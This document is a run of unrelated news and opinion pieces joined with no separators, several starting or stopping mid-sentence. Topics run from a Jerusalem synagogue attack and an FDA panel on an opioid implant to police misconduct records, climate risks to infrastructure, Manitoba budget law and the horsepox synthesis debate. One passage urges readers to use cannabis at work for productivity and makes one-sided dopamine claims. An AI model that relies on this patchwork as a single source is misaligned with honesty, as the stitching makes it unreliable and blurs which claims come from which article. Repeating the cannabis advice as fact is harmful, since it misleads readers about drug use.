'He was a young man, in his late 30s, still wearing the teffilin on his hands from prayer. One of the paramedics slipped on blood in the shul [synagogue] and broke his leg.'
Witness Sarah Abrams, 38, who lives a five-minute walk from the synagogue, told how one of the attackers stabbed a worshipper as he ran inside.
She said: 'One man was lying on the street, all covered in blood. A neighbour told me afterwards that she saw the terrorist go into the synagogue and on the way he stabbed this man as he approached the synagogue.
'Two people came out with their faces half missing, looking like they'd been attacked with knives.'
Eye witness Menahem Cohen, who saw the attack happen from his apartment directly opposite the building, said: 'I saw a man stagger out of the synagogue with two bullets wounds in his back, blood was running down, and he appeared to be in complete shock.
'Very quickly the police arrived and took positions at different angles around the building. Then I saw one of the attackers come out of the building holding a meat cleaver, and as he came out he was shot from different angles by the police and he fell to the ground.'
Israeli emergency services personnel clean the sidewalk at the scene of the attack
Israeli emergency personnel with a blood-soaked shirt in the aftermath of the horrific incident
Israeli police officers take position near the scene of the attack
Israeli security personnel search a religious Jewish Yeshiva next to the synagogue. The attack was the deadliest in Jerusalem in years and is bound to ratchet up fears of sustained violence in the city
Israeli security personnel search a religious Jewish Yeshiva next to the scene of the attack
The attack, the deadliest in Jerusalem in six years, ratcheted up fears of sustained violence in the city, which is already on edge amid soaring tensions over its most contested holy site.
Jerusalem residents have already been fearful of what appeared to be lone wolf attacks using cars or knives against pedestrians. But Tuesday's early morning attack on a synagogue harkens back to the gruesome attacks during the Palestinian uprising of the last decade.
Tensions appeared to have been somewhat defused last week following a meeting by Benjamin Netanyahu, U.S. Secretary of State John Kerry and Jordan's King Abdullah II in Jordan. The meeting was an attempt to restore calm after months of violent confrontations surrounding a sacred shrine holy to both Jews and Muslims.
Palestinian mourners attend the funeral of bus driver Yusuf Hasan al-Ramuni in the West Bank town of Abu Dis. Hamas leader Mushir al-Masri said that the slaughter of the worshippers was a 'natural reaction' to the death of al-Ramuni
Anger: A group of Palestinians carry the coffin of al-Ramuni
Ultra-orthodox Jews watch paramedics and police officers at the scene
Israel and the Palestinians said then they would take steps to reduce tensions that might lead to an escalation.
Netanyahu blamed the violence on incitement by the Islamic militant group Hamas and Palestinian President Mahmoud Abbas.
Israel's police chief said Tuesday's attack was likely not organized by militant groups, similar to other recent incidents, making it more difficult from security forces to prevent the violence.
'These are individuals that decide to do horrible acts. It's very hard to know ahead of time about every such incident,' Yohanan Danino told reporters at the scene.
Foreign Secretary Philip Hammond has joined US Secretary of State John Kerry in condemning the attack.
Speaking in London, Mr Kerry and Mr Hammond called on the Palestinian leadership 'at every single level' to condemn the assault.
'To have this kind of act, which is a pure result of incitement, of calls for days of rage, of irresponsibility is unacceptable,' Mr Kerry told reporters.
'The Palestinian leadership must condemn this and they must begin to take serious steps to restrain any kind of incitement that comes from their language, from other people's language, and exhibit the kind of leadership that is necessary to put this region on a different path.'
Mr Hammond added: 'Both sides in this conflict need to do everything possible to de-escalate the situation and reduce the tension we've seen in Jerusalem over the past few weeks, which is extremely dangerous for both Palestinian and Jewish communities in that area.'
Palestinian President Mahmoud Abbas condemned the attack, the first time he has directly denounced violence after weeks of deepening unrest.
'The presidency condemns the attack on Jewish worshippers in one of their places of prayer in West Jerusalem and condemns the killing of civilians no matter who is doing it,' his office said in a statement to Reuters.
Much of the recent violence stems from tensions surrounding the Jerusalem holy site referred to by Jews as the Temple Mount (pictured)Four tiny, implantable rods that steadily ooze drugs could help some patients kick opioid addictions, an advisory committee for the Food and Drug Administration concluded Tuesday. With a 12 to 5 vote, the committee of medical experts recommended that the regulatory agency approve the implantable device for use—and the agency often follows such advice.
If approved, the treatment would debut amid a national epidemic of addictions and overdoses involving opioids, which includes prescription painkillers and heroin. The committee concluded that the implantable device could offer a safer way to deliver medication-based treatments for addicts, who desperately need better options. However, dissenting members of the committee expressed concern over the device’s safety and hinted that the need to address the addiction epidemic may have clouded the committee’s judgment.
"We all desperately want something to be available," the committee's acting chairwoman Judith Kramer told USA Today after the committee’s Tuesday vote. But, she said, “I’m very concerned about the precedent this sets." Kramer, a professor emerita at Duke University, was one of the five dissenting committee members.
The implantable device being discussed, called probuphine, is composed of four metal rods, each smaller than a match stick. The rods seep buprenorphine, a semisynthetic opioid that eases withdrawal symptoms, lessens cravings, and cuts relapse risks in recovering opioid addicts.
While buprenorphine is already one of the most commonly used medications to treat opioid addictions, the current oral forms are easy to abuse. Patients can overdose on the drug or sell it for money to buy heroin or other opioids. For this reason, drug-based treatments for addiction have to be strictly regulated. For instance, methadone, another opioid that’s used to treat opioid addiction, is only available at specialized clinics and patients are often only given a day’s dose at a time.
With the implantable probuphine, made by New Jersey-based Braeburn Pharmaceuticals, patients would get a consistent, fixed stream of the drug.
“I think this will save some folks’ lives,” said committee member David Pickar, adjunct professor of psychiatry at Johns Hopkins Medical School, who voted to recommend approval. “From a safety point of view I think we’re in good shape.”
But not everyone agrees. The implant only lasts for six months, while many patients need to stay on the drug treatments for years. It’s unclear what happens after six months, Kramer said.
Also, the committee acknowledged that it’s very common to adjust the dosage of buprenorphine, particularly during the start of a patient’s treatment. That would mean doctors might have to prescribe supplemental oral doses to patients who already have an implant, which would negate the purpose of the implant. It’s also unclear how to transition patients from taking oral doses to relying on the implant.
On the other hand, experts were concerned that patients content with just the implant may be less inclined to show up for clinical check-ins and necessary counseling.
Listing image by Braeburn PharmaceuticalsWASHINGTON -- From roads and bridges to power plants and gas pipelines, American infrastructure is vulnerable to the effects of climate change, according to a pair of government reports released Thursday.
The reports are technical documents supporting the National Climate Assessment, a major review compiled by 13 government agencies that the U.S. Global Change Research Program is expected to release in April. Scientists at the Department of Energy's Oak Ridge National Laboratory put together the reports, which warn that climate-fueled storms, flooding and droughts could cause "cascading system failures" unless there are changes made to minimize those effects. Island Press has published the full-length version of the reports, which focus on energy and infrastructure more broadly.
Thomas Wilbanks, a research fellow at Oak Ridge and the lead author and editor of the reports, said this is the first attempt to look at the climate implications across all sectors and regions. Rather than isolating specific types of infrastructure, Wilbanks said, the report looks at how "one impact can have impacts on the others."
Previous extreme weather events, which scientists warn may be exacerbated by climate change, offer insight to the types of failures they're talking about. For example, during Hurricane Katrina, the loss of electricity in the region meant that several major oil pipelines could not ship oil and gas for several days, and some refineries could not operate. Gas prices rose around the country.
Other scenarios include a major storm wiping out communications lines, a blackout that cuts power to sewage treatment or wastewater systems, and a weather event that damages a bridge or major highway. In the latter case, the damage would not only cost money to repair, but could cause traffic backups or delays in the shipment of goods, which could in turn have wider economic implications. As the report describes it:
A central theme of the report is that vulnerabilities and impacts are issues beyond physical infrastructures themselves. The concern is with the value of services provided by infrastructures, where the true consequences of impacts and disruptions involve not only the costs associated with the cleanup, repair, and/or replacement of affected infrastructures but also economic, social, and environmental effects as supply chains are disrupted, economic activities are suspended, and/or social well-being is threatened.
While many reports on climate change focus on the long-term impacts, looking ahead 50 or 100 years, the effects described in Thursday's reports are the kind that cities, states and the federal government can expect to see in the next few decades, Wilbanks said.
"There's this crunch between vulnerability of infrastructure because it's aging or stressed because they are so heavily used, and they're being exposed to new threats like more frequent, extreme weather events," says Wilbanks. All this comes at a time, Wilbanks said, where governments at every level are facing "great difficulty in coming up with public sector financing to replace or revitalize them."
The energy report also exposes vulnerabilities in the system. It points to recent cases where heat waves caused massive spikes in energy use for cooling buildings, putting strain on the power grid. It also highlights instances where power plants were at risk of flooding, or had to shut down or scale back operations due to high temperatures and droughts.
"One-quarter of existing power generation facilities are in counties associated with some type of water sustainability concern,” said David Schmalzer, co-author of the energy-focused report. "Warmer air and water are expected to reduce the efficiency of thermal power, while hydropower and biofuels will also face increased uncertainty. Even electricity sources not dependent on water supplies, such as wind and solar power, also face increased variability, as a changing climate will potentially impact the variability of their resources."The desire to be in control of how we are watched and by whom has grown in the year after the Snowden revelations. Everyday people are downloading private messaging apps in droves, educating themselves about encryption, switching to private browsers, and much more. We've become collectively spooked by the sheer magnitude of the dragnet surveillance in place in this country and abroad by governments and corporations. Even if we feel we have nothing illegal to hide, the thought of an algorithm collecting our most personal emails, intimate texts, video chats, and creating a map of our every move and connection is unsettling.
Sadly, the people who feel the brunt of this insidious gaze aren't only criminals; minority groups and activists are also subjected to this oppressive watching. Security cameras, aerial surveillance, larger police presences, warrantless surveillance, border checks, stop and frisks, and more are all commonplace in certain regions or populations in this country. It's no wonder that even before Snowden, many activists had adopted protest masks as part of their toolbox of political action. Pussy Riot, black blocs, the Zapatistas, Anonymous, and more have taken the mask as a tool to hide and also a means to self-empower.
In 2011, taken by the emergence of mass protest movements around the world, artist Zach Blas began making his "Facial Weaponization Suite," a series of community workshops that discuss and resist biometric facial recognition technologies and the larger political ethos that supports and enforces them. The workshop participants then have their own faces scanned and compiled into a collective mask, a mask which resists any biometric quantification. I got Blas on the phone to learn a little more about the project.
VICE: The algorithmic gaze of the surveillance apparatus is binary-literally ones and zeros-but also in terms of its treatment of human beings as binary. We are seen as either terrorist or not, posing a threat or not, gay or not. What's at stake if this type of machine logic completely permeates our society?
Zach Blas: There are many instances of the machinic gaze or machine vision. You have drones and biometrics, but you can also be more metaphorical and think about data-mining and our data-bodies, which are products of data that are stored and aggregated about us on social media networks.
I just finished my dissertation, called "Informatic Opacity," which is about this. I use the concept of opacity as an ethical, political, and aesthetic tactic to counter the turn towards standardization that these algorithms produce. I approach machine vision, specifically biometrics, not just from surveillance issues but as a neoliberal entanglement of government, military, and commercial ventures that all come together to produce these technologies. At a technical level, such technologies are reliant on a standardized way of identifying and accounting for human life. A really good way to think about this is through biometrics and the standardization this type of algorithmic gaze enacts and produces.
For instance, the way technologists and scientists construct parameters to detect things like smiles are through normative means such as averaging. Time and again when you look at these scientists' data pools, the images and portraits they're using are quite homogeneous and err towards caucasian persons. An example of identification standardization is with blink detection in digital cameras, which has detected that Asian users had blinked when they hadn't. This is a powerful example of the biases that are built into these technologies, which get exposed when they fail to work properly.
The people who most experience the violence of this technical standardization are a broad set of minoritarian persons. An example of this would be the struggles that transgender persons face. For instance, when transgender persons go through airports and are subject to full-body scanners, there have been incidents when they are flagged as risks if their genitals do not match the listed sex on their identification card. When you look to other examples of biometrics failing to recognize people, it's often minoritarian persons.
Within this system, refusing to show your identity calls even more attention to yourself. For instance, Janet Vertesi, an associate professor of sociology at Princeton, tried to hide her pregnancy from marketers and was thus put under suspicion of illegal activity. It's an anomaly within a system created to document and identify. Can you talk about the role your masks play as a tactic for counter-surveillance?
My problem with some of the recent surveillance work with masks is that it is technologically deterministic and only considering technological functionality. This doesn't exactly make sense because, in many moments when you are heavily subjected to biometric scrutiny, it is illegal to wear a mask (like at airports, and even public protests in some countries). So this artwork gives itself too much power; it needs to be a bit more humble. I'm not going to fool myself about the work that I'm doing: The masks I make can evade biometric detection (that is, the masks do not authenticate as human faces), but they have limited applicability. So my work is also about political desire, pedagogy, collective experiences. There is a difference between technical utility and political usefulness, but recent works with surveillance and masks collapse these two, suggesting that the best technical option is also the best political option. Yet technical and political usefulness often do not align, so a balance between the two is required.
When I started making masks in 2011, it was really important for me to have the work intersect with social movements' aspirations and their use of masking. I saw a coterminous rise of masked protest alongside the rise and boom of biometric industries. Today, my work is heavily interpreted through the NSA revelations, but when I started the work, this was not yet exposed. I was more focused on the standardization of identification in technology as a kind of global governance, which is not just about surveillance. The Facial Weaponization Suite masks are about articulating a presence that can't be reduced to those standards-they refuse that technical standardization. And that's exactly what the protest mask does today. From Anonymous, the Zapatistas, Pussy Riot, or black blocs, the mask in these contexts is not only or primarily about hiding; that would be to largely misread the power of the protest mask.
Facial Weaponization for Queer Opacity at LA Pride
The protest mask does conceal in some ways, but it also gives hyper-visibility as collective consistency. This isn't hiding but political transformation with a group of people who refuse to be visually reduced by that machinic gaze. In the Facial Weaponization Suite, I see it as very utopian, because it's demanding to be seen in a different way, a way of refusing the visibility of the state, of which the algorithmic gaze or machine vision is a part. So it's about not seeking legitimacy through the state, because that would mean validation from the very thing you were fighting against.
Historically, many minority struggles have always had a rhetoric about gaining visibility to the state. Now, when you look at protests today, you see something very different happening. Bringing those two together is really complicated because of these histories of minoritarian erasure by the state. And as I've produced masks in workshop, I have encountered resistance and hesitation to wearing masks from different persons, specifically because of political investments in visibility or gaining recognition from the state.
I'm very interested in these workshops. They seem like possibly the most important part of the work in terms of that political transformation. Can you talk about them and the process?
I get the most out of the workshops, for sure, even though when the work moves into an art context you don't see that aspect of it as much. The workshops are lengthy-they last for up to a month-because they're also about building community. I learned that one-day workshops don't get you that far with people. The first meeting is getting to know everyone and learning about whether there are any personal histories or connections to this subject. Almost every workshop I've led, someone has been identified by CCTV footage at a protest and arrested retroactively.
Procession of Biometric Sorrows, Mexico
They are also site-specific. I just did one in Mexico City for the month of May. We spent a lot of time talking about a biometric identification card that the Mexican government has recently put into circulation for children, but mostly we focused on the border. Biometrics is the world's number-one border security technology, and an immense amount of biometric data is gathered at the US-Mexico border. Interestingly, biometric data gathered by the Mexican government is frequently given to the US Department of Homeland Security.
In the workshops, we spend a lot of time talking about larger global issues of how identification gets technically standardized as a means of control and governance. Then we look at how that is actually operating where we are currently, and then we go through a series of meetings where we collectively decide what we want to do with the masks. All the decisions are collective, from the color of the mask as well as its approximate shape. I don't use a preset algorithm to produce the masks. I gather all of the facial data and layer it "by hand" in 3-D modeling software, which gives a lot of possibility to construct the formal aspects of the mask.
Zach Blas is an artist, writer, and curator whose work engages technology, queerness, and politics. He has shown and lectured internationally, and is currently an Assistant Professor in the department of art at the University at Buffalo.
Ben Valentine writes on art, technology, and social practice. Follow him on Twitter.
Read more about Zach Blas' work on The Creators Project.The personnel file of Medford Police Detective Stephen LeBert contains more than a dozen personal letters thanking for him for assisting a woman who fell in the snow, pulling over to help the driver of a broken-down vehicle and tracking down a Bobcat to move gravel for residents building a new home.
This is indeed the same Stephen LeBert who threatened to “blow a hole” through the head of a driver July 26 in Medford Square.
Despite the letters of appreciation and recognition for superior detective work, LeBert’s personnel records also include a stack of complaints and internal investigation reports that detail a frightening pattern of verbal and physical misconduct – including three criminal complaints alleging either assault or assault and battery.
Since his appointment as a Medford Police officer in 1985, LeBert has served three suspensions and has been the subject of 13 investigations by the department’s Internal Affairs unit – far more than average. By comparison, Medford Police Chief Leo A. Sacco Jr. said the majority of officers have no personnel citations, or one – “maybe.”
After LeBert’s threat was caught on video last month, Sacco said he was to blame for failing to hold LeBert accountable for previous misconduct.
“I let LeBert down,” Sacco said. “I let the profession down. Because there are a number of things here that I should have addressed him on. There were enough warning signs that I probably should have – I’m kicking myself. I feel terrible about it because I feel I caused this problem to happen.”
A review of LeBert’s personnel records, which were obtained through a public records request, turns up no shortage of questionable actions by LeBert.
In one instance, complainants said LeBert threw a 73-year-old man face-down on the hood of a police cruiser and arrested him for disorderly conduct – though LeBert had initiated contact with the man, who was walking his daughter’s dog, they said.
Another time, LeBert was writing a speeding ticket for a woman who said she saw LeBert and several teenage girls laughing while looking at her driver’s license.
When LeBert returned to her car, the woman asked if he was allowed to show the teens her information. He replied: “I can do whatever I want,” she said.
On a different occasion, to prove to a woman that he was a police officer, LeBert turned on the siren and lights on his car and jumped up and down, yelling, “Do you believe me now?”
The woman, a retired federal immigration official, was stunned.
“LeBert was acting like a madman,” she wrote in a complaint. “Very bizarre behavior.”
As LeBert handed her a ticket, he asked if she had a dead body in the back seat. And as he walked back to his car, she said, he repeatedly asked her if she was married because “he was going to drop a bomb on me.”
“I have never been treated by anyone in such a rude and disrespectful manner,” she wrote.
Sacco said he tried to send a message to LeBert after another incident caught on video, in July 2012, when LeBert confronted a man who was filming officers as they questioned his brother over drugs.
The video shows LeBert licking his finger before wiping it on the lens of the recording device. LeBert then told the man that his brother had a drug problem.
Later, LeBert said: “What they should do is just take him up on the railroad tracks and tell him to lay down.”
Following the incident, Sacco said LeBert was told he was not to interfere with anyone filming police.
“He came to me and apologized for that,” Sacco said. “And I said, ‘Stephen, you can’t do that. You can’t do that. People have the right to do that. You come across looking foolish.’
“He received it well,” Sacco said. “He said, ‘OK. I know. I’m sorry.’”
After the most recent incident July 26, LeBert, 52, is the subject of another Internal Affairs unit investigation, and his job is on the line.
Once the investigation is complete, Sacco will recommend a course of discipline for LeBert to Mayor Michael J. McGlynn.
Sacco said he wished he had acted sooner.
“Had I addressed it with him with some of these prior incidents where he had confrontations with people, I think it was a situation where I probably said, ‘There’s no way. There’s no way he could have been that bad,’” Sacco said. “But now, confronted with video, it’s hard to deny.”
The following sections describe events that led to suspensions, Internal Affairs investigations or complaints against LeBert. They are taken from LeBert’s personnel records, and accusations are attributed to the complainants who made them.
November 2012 – Internal Affairs investigation No. 10: “Like a madman”
At about 6 p.m. Nov. 12, Paula Corbin, a retired Immigration Officer with the U.S. Department of Justice, pulled her car up next to a garbage bin in the parking lot of the Burger King at 383 Mystic Ave. to throw away some trash.
Corbin, of Somerville, said that LeBert, who was parked nearby, approached her car and flashed a light at her. After asking for her license, LeBert told Corbin the location was a drug spot.
“I told him that I would never be involved in any drug activity and that I was actually a retired federal officer,” Corbin wrote in a complaint to Medford Police.
Corbin said LeBert called her a liar and asked what branch she had worked for.
“He proceeded to verbally insult me by telling me I was nothing, that Immigration was nothing,” Corbin wrote. “He asked me for my credentials. I informed him that my badge was retired in Lucite [a protective casing]. He found this info amusing and mocked me.
“I questioned him about his identity. He then bizarrely went to his car and turned on the police siren and lights, jumping up and down, yelling to me, ‘Do you believe me now? Is this proof enough?’
“I tried to get out of my car to copy down his plate number of his unmarked car. He immediately called his police station for backup help.”
Corbin said LeBert told the responding officer about her credentials being in Lucite.
“Which they found amusing and not creditable,” Corbin wrote. “LeBert was acting like a madman, unprofessional and unbecoming behavior from an officer. Very bizarre behavior. LeBert was totally harassing and threatening me this whole time; for what reason, I have no idea.”
LeBert then issued Corbin a ticket for parking improperly in front of the trash receptacle.
“This whole episode was so surreal and bizarre to me,” Corbin wrote. “I have never been treated by anyone in such a rude and disrespectful manner. I immediately called 911 and told the dispatcher I was being harassed by the police and asked if they could send a cruiser. I was told that this was not an emergency and to call the business line.”
LeBert walked over to Corbin’s window and asked if she was calling the police, and she said “yes.”
“When Officer LeBert was handing me the ticket, he asked me if I had a dead body in my back seat,” she said. “As he was walking back to his car, he kept asking me if I was married because he was going to drop a bomb on me.
“I was so upset and traumatized by this whole ‘Twilight Zone’ episode, I drove to the Medford Police station to try to get some answers. As I appeared before the desk officer, Officer LeBert appeared behind me, once again mocking my credential-in-Lucite story to the two officers at the front desk, saying, ‘Hey, listen to this – she said her badge is in Lucite.’
“He told me if I brought back my credentials, he would tear up the ticket he had issued to me. Once again, feeling humiliated and helpless, I left.”
Corbin also reported the incident to Burger King’s corporate office.
In her complaint to Medford Police, Corbin included a photo of her U.S. Department of Homeland Security badge.
January 2013 – Criminal complaint of assault: Kohl’s arrest
A woman being arrested for theft said LeBert physically, mentally and verbally abused her and her 9-year-old daughter.
At 5:09 p.m. Jan. 23, Melanie Russo, of Everett, was arrested at Kohl’s at 3850 Mystic Valley Parkway and charged with theft of more than $250, according to a Medford Police booking record.
The next day, Russo filed a criminal complaint against LeBert for assault and battery at the Somerville District Court.
In the complaint, Russo wrote: “Stephen grabbed me by the back of my hair in [the] Kohl’s parking lot and kept pushing me and pushed my daughter when she said, ‘Stop hurting my mommy.’
“Stephen also choked me inside of Kohl’s. He kept shouting, ‘Shut the f--- up!’ to my daughter while she was crying. Because of Stephen choking me I have no voice and I am in severe pain. I am a handicapped woman and I want to have something done for this abuse. I’m going to the hospital today for treatment. Stephen also hit me in the chest with his badge.”
In a report filed after the incident, LeBert said Russo pushed past him and started to leave, forcing him to physically restrain her from leaving.
LeBert wrote: “On several occasions, Mrs. Russo attempted to pull away, yelling vulgarities at me and the Kohl’s loss prevention officers as her daughter looked on crying, telling her mother to stop.”
On March 21, Capt. Kevin Faller sent LeBert a letter after learning that LeBert had attended a criminal complaint application hearing the previous day in Somerville District Court for Russo’s criminal complaint.
Faller wrote: “Please submit a report to my office explaining why you failed to notify myself or Chief Sacco that you were the subject of a criminal complaint application for Assault and Battery.”
August 1991 – IA investigation No. 1: “You’re next”
William Sirignano said he was walking his daughter’s Lhasa Apso along Main Street the evening of Aug. 1 when he noticed two Medford Police officers pull up next to him in their cruiser.
“Get on the sidewalk,” one officer, LeBert, told him.
“Can’t you talk like a gentleman?” said Sirignano, who was 75 at the time.
More words were exchanged before Sirignano eventually said, “Well, you can go f--- yourself then.”
LeBert then jumped out the door, pushed Sirignano up against the cruiser and handcuffed him.
According to statements given to police by his son-in-law, James Schena, LeBert and his uncle, fellow Medford Police officer Richard LeBert, threw Sirignano on the hood of their cruiser and handcuffed him.
Schena walked across the street from his video store at 468 Main St. and asked LeBert why he was arresting a frail man in his 70s.
LeBert shoved Schena and said, “You’re next.”
Schena said LeBert then started poking him in the chest with his finger, again telling him, “You’re’ next.”
“That’s OK – I’ll be next,” Schena said. “You can arrest me – just leave the old man alone.”
LeBert said: “You’re nothing. You’re no one.”
Schena told LeBert the man he was arresting was Schena’s father-in-law, and that the backup call the LeBerts were responding to when they found the man was for a car-crash dispute that he and his wife had reported to police.
“We called you up. We called you up,” Schena said. “This isn’t fair.”
LeBert told him he was under arrest and grabbed his left arm to begin handcuffing him.
“I’m on chemotherapy – I’m not going to resist arrest,” Schena said. “Just be gentle with the cuffs.”
Schena said LeBert took his left arm and jerked it up to the opposite side of his head.
“I’m pleading with him – I pleaded with him several times – ‘Just be gentle. You’re hurting me. You’re hurting me,’” Schena said. “And it’s like I was talking to the wall.”
Schena said LeBert then shoved him facedown against the cruiser, finished handcuffing him and started jerking the cuffs up and down.
“My mother-in-law’s crying, saying, ‘Please, he’s |
doubt, one of the best benefits of marijuana is the improved sense of creativity it induces. With cannabis, you can open doors in your mind that may never have been considered while in a sober state. It also allows you think of solutions to problems in a unique way that you would not have thought of if you are sober.
Even if it is not while you are directly performing your task, cannabis gives your mind the ability to work on issues even if they are not in front of you. It relaxes your mind which then could improve the likelihood of finding a solution in a timely manner.
How Marijuana Works to Affect Productivity
There is a direct connection between increased productivity and dopamine levels in the brain. Although dopamine is commonly linked to feelings of reward or pleasure, it also works as a motivator. When there is an increase in the brain’s dopamine levels, the desire or need to get things done increases as well. Therefore, with an increased dopamine flow, your motivation to stay focused is boosted and so is your need or want to take on bigger tasks in the future.
Like other drugs, marijuana causes the brain to release dopamine, which then helps increase your focus and motivation. If you pick the right kind of cannabis, it can play a role in how productive you are. Sativa is the marijuana strain you should pick if your goal is to be more productive. It helps in keeping your mind working, your motivation steady, and your energy high.
So the next time you feel stuck in a rut at work, blaze one up and get your mind and body pumped up to improve your productivity and gain all its rewards.Manitoba's NDP government is looking at a major reworking of its balanced budget law after years of altering, amending and tinkering with the legislation that, in theory, is supposed to prevent deficits.
"The minister of finance will do consultations with the community and with experts and come up with an approach that makes sense, if there are going to be any changes at all," Premier Greg Selinger said in an interview.
"Now's the time to take a look at it, to ensure that we have an approach that is sensible for the economy of Manitoba and for the fiscal realities we're facing, as well as ensuring that there's accountability and transparency going forward."
The Balanced Budget, Fiscal Management and Taxpayer Accountability Act was introduced by a Progressive Conservative government two decades ago.
It forbids deficits except in cases of natural disasters or war and, as a penalty, cuts cabinet ministers' salaries any time the government is in the red. It also requires a referendum before the provincial sales tax, income tax or the business payroll tax can be raised.
When the government started running deficits in 2009, it suspended sections of the law and cut in half the salary reduction for cabinet ministers. Manitoba was one of several provinces that changed its balanced budget legislation to deal with the global recession.
The NDP has since added more loopholes that permit deficits when Crown corporation profits or federal transfer payments drop sharply.
Each time, the changes were leapt upon by the opposition.
"It allows them to be criticized by the political right as being poor managers of the economy," said Karine Levasseur, who teaches political science at the University of Manitoba.
One possible change has already been hinted at by the government.
The law currently requires the government to avoid a deficit on all its public finances, including Crown corporations. In last week's budget, Finance Minister Greg Dewar said the government was no longer aiming at balancing the broader public budget, but only the "core" budget — government departments. He also pushed back the target for balancing the budget to 2019 from 2017.
If the government moves to a core budget, it could have more ways to avoid a deficit. It could, for example, take money out of a Crown corporation and put it into government revenues.
Selinger said any new accounting system will be transparent.
"You have to... report, no matter what system you use these days. It's all in the bottom line. The question is, what's the most appropriate way to report that and be transparent to Manitobans, while protecting core services and making sure we grow the economy."
The government may also do away with the law's requirement for a referendum on tax increases. It suspended that provision in 2013 when it raised the sales tax to eight per cent from seven.
The Opposition Tories took the matter to court and argued the government was effectively breaking the law. But the judge sided with the NDP, saying governments have the right to suspend or alter laws, as long as they pass the amendments through the legislature.WASHINGTON - President Donald Trump had added Secretary of Energy Rick Perry to the National Security Council.
The addition came after Trump removed chief strategist Steve Bannon from the council, reversing a controversial early decision to give Bannon access to the high-level meetings.
Perry served as Texas’ governor from 2000 to 2015 and confirmed as secretary of energy in March.
A new memorandum about the composition of the NSC was published Wednesday in the Federal Register. The memo no longer lists the chief strategist as a member of the Principals Committee, a group of high-ranking officials who convene to discuss pressing national security priorities.
The new memo also restores the director of national intelligence and the Joint Chiefs of Staff chairman to the Principals Committee.
Bannon's addition to the NSC sparked concerns from Trump critics, who said it was inappropriate for the political adviser to play a role in national security matters.
The Trump administration has changed the makeup of the National Security Council Principals Committee. Here are the differences. pic.twitter.com/52aAlqmNOO — Tamara Keith (@tamarakeithNPR) April 5, 2017
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Copyright 2017 by KSAT. The Associated Press contributed to this report. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Has anyone else noticed the banner at the top of the page on Wikipedia?
And does anyone know why I care enough to spend the time to write about it?
Wikipedia is one of the world’s most popular websites, being ranked #6 by Alexa. That’s a lot of traffic being driven to the site and we all know that websites cost money to operate especially when they serve as many people as Wikipedia does. They run on hardware—hardware that needs to be stored, cooled, maintained, etc. And then there are all the people who need to work to run the actual site. It can get expensive. Wikipedia has to get its money from somewhere, so how does it do it?
As the statement above says, they don’t want to use ads. And they don’t take government funds. No one, of course, has ever had to pay a user fee to access the site. Wikipedia gets its money from donations. It’s not a charity, but some people who use the site say to themselves, “You know, I really like this site and find it useful, so why don’t I send them some money to make sure it stays up.”
I don’t think the majority of people, however, actually ever donate to Wikipedia. I know I never have and I use the website a lot. So you could say that I’m a “free rider.” Hmmm, I think I’ve heard of this term before…
People will bring up the “free rider problem” when arguing against the privatization of any number of government services, whether it be the police, fire protection, roads, the military, or whatever else the topic may be. They claim that if you don’t have to pay, no one would. So a business model for private security forces that used funds from wealthier customers to help cover the costs to serve poorer clients simply could not work in their view. The people actually paying the bills would say, “Hey, if I stop paying, there are still plenty of other people who will continue to pay. And anyway, why should that guy get something for free?” With everyone having this feeling, the market collapses.
The problem with the free rider problem is that it ignores that those who pay for the goods or services believe they will benefit more than if they received the free version. They consider their money to be well spent.
What makes Wikipedia such a shining example of voluntary transactions is that it survives despite all of the free riders latched on. Furthermore, it does it with a system that doesn’t even actually offer any additional benefits (at least as far as I know) for those who have donated money. If it works so well with a luxury like Wikipedia, imagine the success we’d have in society if we allowed other markets to operate as freely.
If free riders are such a big problem, why is Wikipedia such a strong site?Variola, the smallpox virus, was eradicated in 1980 but caches of the virus are still stored in Russia and the United States. PHOTO: EYE OF SCIENCE/SCIENCE SOURCE
Ever since virologists stitched together DNA sequences to make a poliovirus from scratch 15 years ago—a feat that triggered an intense debate about the risks of synthetic biology—researchers have said the same might be possible for a much more complex virus that causes the most feared infectious disease in human history: smallpox.
Now, they know for sure.
In 2016, David Evans, a virologist at the University of Alberta in Edmonton, Canada, led a team that quietly synthesized horsepox, a virus believed to have gone extinct decades ago, from DNA fragments ordered online and delivered in the mail. There's little evidence horsepox is dangerous to humans, but the same strategy could be used to recreate variola, the virus that causes smallpox, a disease declared eradicated in 1980 to which most of the world's population has no immunity. “No question. If it's possible with horsepox, it's possible with smallpox,” says virologist Gerd Sutter of Ludwig Maximilians University in Munich, Germany.
The study has not yet been published—two scientific journals have rejected it—but it was presented at a closed-door meeting of a variola advisory committee at the World Health Organization (WHO) in Geneva, Switzerland, in November 2016; a summary of the presentation appeared in a report on WHO's website in May but was not widely noticed.
The study, done in part to help develop better vaccines for smallpox and other conditions, may put to rest discussions about whether to destroy the two remaining stocks of natural smallpox. But it has reopened the debate about how far research with dangerous pathogens should be allowed to go. Gregory Koblentz, a bio-defense expert at George Mason University in Fairfax, Virginia, says the work should never have been done. His worry isn't so much that terrorists will cook up smallpox anytime soon. “My concern is that we have opened up the door to the idea that it is perfectly acceptable to synthesize [such] viruses without any oversight,” Koblenz says. And if the necessary technology and expertise spread, it will become “that much easier at some point for those capabilities to be turned from peaceful uses to hostile uses.”
Evans acknowledges that his work raises the specter of smallpox being reconstituted for nefarious purposes. “Have I increased the risk by showing how to do this? I don't know,” he says. “Maybe yes. But the reality is that the risk was always there.” And the benefits outweigh the risks, Evans argues. Beyond helping develop new vaccines, he hopes the study, funded by Tonix Pharmaceuticals in New York City, could lead to new cancer therapeutics. It might also help elucidate the origins of the smallpox vaccine, developed in the late 18th century by British physician Edward Jenner. Conventional wisdom says the vaccine is an attenuated virus derived from cowpox, but some studies have suggested it might be related to horsepox instead. “I think we need to be aware of the dual-use issues,” Evans says. “But we should be taking advantage of the incredible power of this approach.”
Many experts concluded that recreating smallpox was a possibility when Eckard Wimmer of the State University of New York in Stony Brook assembled the poliovirus in 2002. But building the horsepox virus was “far more challenging,” says Geoffrey Smith of the University of Cambridge in the United Kingdom, who chairs WHO's variola advisory panel. The variola genome is 30 times bigger and at each end, the two strands of its DNA are linked by structures called terminal hairpins, making it harder to recreate. And although simply putting a synthesized poliovirus genome into a suitable cell will lead to the production of new virus particles, that trick does not work for poxviruses.
In 2015, a special group convened by WHO to discuss the implications of synthetic biology for smallpox concluded that those hurdles had been overcome. “Henceforth there will always be the potential to recreate variola virus and therefore the risk of smallpox happening again can never be eradicated,” the group's report said. But the debate about feasibility has continued, says Evans, who did the horsepox experiment in part to answer the question once and for all. “The world just needs to accept the fact that you can do this and now we have to figure out what is the best strategy for dealing with that,” he says.
